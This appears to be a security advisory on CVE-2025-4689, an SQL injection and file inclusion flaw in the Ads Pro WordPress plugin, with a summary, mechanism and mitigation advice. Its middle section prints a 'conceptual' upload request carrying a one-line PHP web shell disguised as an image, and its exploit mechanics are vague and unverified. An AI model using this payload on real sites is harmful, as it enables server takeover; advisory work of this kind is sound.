Overview
The Ads Pro Plugin for WordPress, a popular advertising manager plugin, has been discovered to contain a critical vulnerability, marked as CVE-2025-4689. This vulnerability exposes systems running all versions up to and including 4.89 to potential Local File Inclusion (LFI) attacks, which could lead to Remote Code Execution (RCE). This vulnerability affects not only individual websites but also web hosting providers and businesses that rely on the WordPress platform for their online presence. The impact of this vulnerability is significant, as it allows an attacker to execute arbitrary PHP code on the server, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-4689
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
Affected Products
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Product | Affected Versions
Ads Pro Plugin – Multi-Purpose WordPress Advertising Manager | All versions up to and including 4.89
How the Exploit Works
The vulnerability exists due to a combination of SQL Injection (SQLi) and Local File Inclusion (LFI) vulnerabilities. An attacker can exploit this vulnerability by uploading an image file to the server which can then be fetched via a SQL injection vulnerability. The fetched image is subsequently executed as PHP code through the local file inclusion vulnerability, allowing the attacker to execute arbitrary code on the server.
Conceptual Example Code
The following conceptual code illustrates how an unauthenticated attacker might exploit this vulnerability:
POST /wp-content/plugins/adspro-plugin/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundary7MA4YWxkTrZu0gW--The above request uploads a malicious PHP file disguised as an image to the server. The attacker can then trigger the SQLi vulnerability to fetch the uploaded file, which is subsequently executed as PHP code.
Mitigation Guidance
Users are advised to apply the vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and block the exploitation of this vulnerability. Regularly updating and patching your systems can help prevent the exploitation of such vulnerabilities in the future.